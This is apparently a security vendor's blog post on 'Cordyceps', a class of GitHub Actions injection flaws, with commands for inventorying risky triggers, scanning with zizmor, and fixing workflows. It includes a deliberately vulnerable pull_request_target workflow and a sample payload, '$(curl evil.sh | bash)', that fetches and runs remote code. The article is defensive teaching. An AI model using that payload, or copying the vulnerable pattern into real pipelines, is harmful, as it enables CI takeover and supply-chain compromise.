A GitHub account anyone can register in under a minute, a comment left on a pull request, and a workflow that treats that comment as if a maintainer typed it. That is the entire attack. The research firm Novee Security calls the pattern Cordyceps, after the fungus that hijacks an insect's nervous system and walks the body around from the inside. The name fits: the malicious input does not break your pipeline so much as quietly take it over and ship from it.
Novee scanned roughly 30,000 high-impact repositories across the npm, PyPI, crates, and Go ecosystems, flagged 654, and confirmed more than 300 as fully exploitable - meaning attacker-controlled code execution, credential theft, or outright supply-chain compromise. The confirmed fixes landed at Microsoft, Google, Apache, Cloudflare, and the Python Software Foundation. On Microsoft's Azure Sentinel, a comment on a pull request could run anonymous attacker code on Microsoft's CI and steal a non-expiring GitHub App key. On Google's AI Agent Development Kit, a single pull request could execute attacker code in Google's CI and gain roles/owner over the associated Google Cloud project. These are not sloppy projects. This is a class of bug that hides in plain sight, and as The Hacker News and SecurityWeek both noted, the same exploit pattern repeats across thousands of unrelated projects.
Who needs to act, and who can stand down
This is the part most coverage skips, so here it is plainly. If any repository you own runs a GitHub Actions workflow triggered by pull_request_target, workflow_run, or issue_comment - the triggers that hand a fork's untrusted contributor a context with your secrets and a writable token - Cordyceps is your problem today. If every workflow you run triggers only on push from maintainers, your secrets sit in protected environments, and you accept no pull requests from forks, your exposure is genuinely small.
The catch is that "small exposure" is a claim you verify with a scan, not one you make from memory. Every team breached here believed their pipeline was fine. For a small software shop or an MSP that ships code, the consequence is concrete and ugly: a stolen GITHUB_TOKEN or a leaked app key is signing authority over everything you publish, and your customers pull whatever the attacker built. The good news is that the same property that makes Cordyceps systemic also makes it findable. The dangerous patterns are mechanical, and a scanner can read them faster than you can.
What Cordyceps actually is
Cordyceps is not one CVE. It is a class of composition bugs in GitHub Actions, where no single line looks dangerous but the assembled workflow lets untrusted data cross a trust boundary nobody audited. Novee groups it into four sub-classes:
- Command injection - attacker-controlled input such as a branch name, pull-request title, or comment body is interpolated directly into a shell command and executed.
- Code injection - that same untrusted input is interpolated into JavaScript via
actions/github-scriptand evaluated at runtime. - Broken authorization - an access check exists but fails silently, so a guard that looks present does nothing.
- Cross-workflow privilege escalation - untrusted data from a low-privilege workflow flows into a high-privilege one and inherits its tokens.
The root cause is a mindset, not a missing patch. Teams treat workflow YAML as configuration rather than as security-critical code, yet those files run shell, evaluate scripts, hold tokens, and publish releases. Novee's own line is the one to internalize: workflow code is code, and a bug in that code is a vulnerability. There is also an accelerant. As developers lean on AI coding agents to generate CI/CD configuration quickly, those agents reproduce the same insecure patterns over and over, planting the identical class of flaw across what Novee estimates is millions of repositories. The fix is not a tool you buy once. It is a habit of reading workflows the way you read application code, backed by a scanner that runs every time the code changes.
Step one: inventory the dangerous triggers
Before you scan for subtle injection, find the workflows that even can be reached by an outsider. The risky triggers are the ones that run with your repository's context in response to events an external party controls. Pull the list directly from GitHub with the gh CLI and grep your checked-out workflows:
# From a local clone: list every workflow file that uses a risky trigger
grep -rEl 'pull_request_target|workflow_run|issue_comment|workflow_call' \
.github/workflows/
# Org-wide: find repos whose default GITHUB_TOKEN still has write scope
gh api -X GET /orgs/YOUR_ORG/actions/permissions/workflow \
--jq '.default_workflow_permissions' # "write" here is the thing to fix
# Inspect a single repo's setting without cloning it
gh api /repos/YOUR_ORG/YOUR_REPO/actions/permissions/workflow \
--jq '{perms: .default_workflow_permissions, approve_pr: .can_approve_pull_request_reviews}'
Any workflow that combines one of those triggers with access to secrets or a write-scoped token is a candidate. Write the list down. That set, not your whole repo count, is your real attack surface, and it is usually a small fraction of the total.
Step two: scan the workflows with zizmor
You do not need Novee's commercial platform to find most of this yourself. zizmor is an open-source static analysis tool built specifically for GitHub Actions, and it detects nearly every Cordyceps sub-class by name. Install it and point it at your workflows:
# Install (pick one)
uvx zizmor --help # zero-install via uv
pipx install zizmor # isolated CLI install
brew install zizmor # macOS / Linuxbrew
# Scan a local workflow directory
zizmor .github/workflows/
# Scan a remote repo (online mode pulls action metadata)
export GH_TOKEN=$(gh auth token)
zizmor YOUR_ORG/YOUR_REPO
# Emit SARIF so the findings load into code scanning
zizmor --format=sarif .github/workflows/ > zizmor.sarif
The findings map straight onto the attack. template-injection catches the command and code injection sub-classes - the ${{ ... }} expansions that drop untrusted input into a run: step or a script. dangerous-triggers flags pull_request_target and workflow_run usage. excessive-permissions reports tokens scoped wider than the job needs. unpinned-uses finds actions referenced by a mutable tag instead of a commit SHA, which is how a hijacked upstream tag becomes your problem. artipacked and cache-poisoning cover credential persistence and poisoned build caches. Triage the template-injection and dangerous-trigger hits first; those are the ones that turn an anonymous comment into code execution.
Step three: fix the patterns the scan finds
The fixes are mechanical once you can see the flaw. Four changes close most of the exposure:
- Never interpolate event data into shell. Move
${{ github.event.* }}values into anenv:block and reference the environment variable insiderun:, so the shell sees an inert string instead of attacker-controlled template text. - Set least-privilege permissions. Declare
permissions: {}at the top of the workflow and grant only what each job needs, such ascontents: read. - Pin actions by SHA. Replace
uses: some/action@v4with a full 40-character commit SHA so a moved tag cannot swap in malicious code. - Separate untrusted build from privileged publish. Let fork pull requests build in a no-secrets context, and gate anything that touches tokens behind a manual approval or a protected environment.
Here is the single most common Cordyceps shape and its fix. The broken version drops a pull-request title straight into a shell:
# VULNERABLE: title is attacker-controlled, runs in your context
on: pull_request_target
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: echo "Reviewing ${{ github.event.pull_request.title }}"
# FIXED: pass the value through env; the shell never parses the template
on: pull_request_target
permissions: {}
jobs:
greet:
runs-on: ubuntu-latest
steps:
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Reviewing $PR_TITLE"
The fixed version still receives the title, but a payload like $(curl evil.sh | bash) in that title is now a literal string the shell echoes, not a command it runs.
Step four: make the check continuous
A one-time scan finds today's flaws. The reason Cordyceps is systemic is that the next AI-generated workflow re-plants the pattern next week, so treat workflow YAML as code under review. Add zizmor as a required status check so a pull request that introduces a template injection fails before it merges:
# .github/workflows/zizmor.yml — gate every change to your workflows
name: zizmor
on: [push, pull_request]
permissions:
contents: read
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@
- run: pipx run zizmor --format=sarif . > results.sarif
Pair that with three operational habits. First, audit your GitHub App installations and personal access tokens for non-expiring credentials, since a stolen long-lived key is exactly what the Sentinel example exfiltrated, and rotate anything that does not need to live forever. Second, review AI-generated workflow YAML with the same scrutiny you give application code; an agent that writes a pull_request_target job in seconds will reintroduce the exact pattern you just removed, and the diff is where you catch it. Third, watch your external footprint over time - the same way Red Hound's open-source portdiff and scopecheck tools surface a service that newly appears on the internet, a diff of your workflow permissions surfaces a job that newly gained write access. The point is to notice the change, not to discover it in an incident report. For deeper context on how the wider dependency layer gets poisoned, our writeup of the Mastra npm scope hijack covers the package side of the same supply chain.
Read your workflow files like the code they are
Cordyceps is durable because it lives in a blind spot, not because it is sophisticated. The defense is equally unglamorous: enumerate the workflows an outsider can trigger, run zizmor against them this week, fix the template injections and the over-scoped tokens it reports, and wire the scan into CI so the fix sticks. If you ship software through GitHub, that audit is a couple of hours of work that stands between a stranger's pull request and your release-signing keys. Do it before the next contributor you have never met opens one.
Want to try our open-source security tools?
Red Hound builds and publishes free, practitioner-grade security tools on GitHub, and we harden CI/CD pipelines against exactly this class of supply-chain attack. Browse the tools at github.com/redhoundinfosec, or book a session and we will audit your GitHub Actions workflows with you.
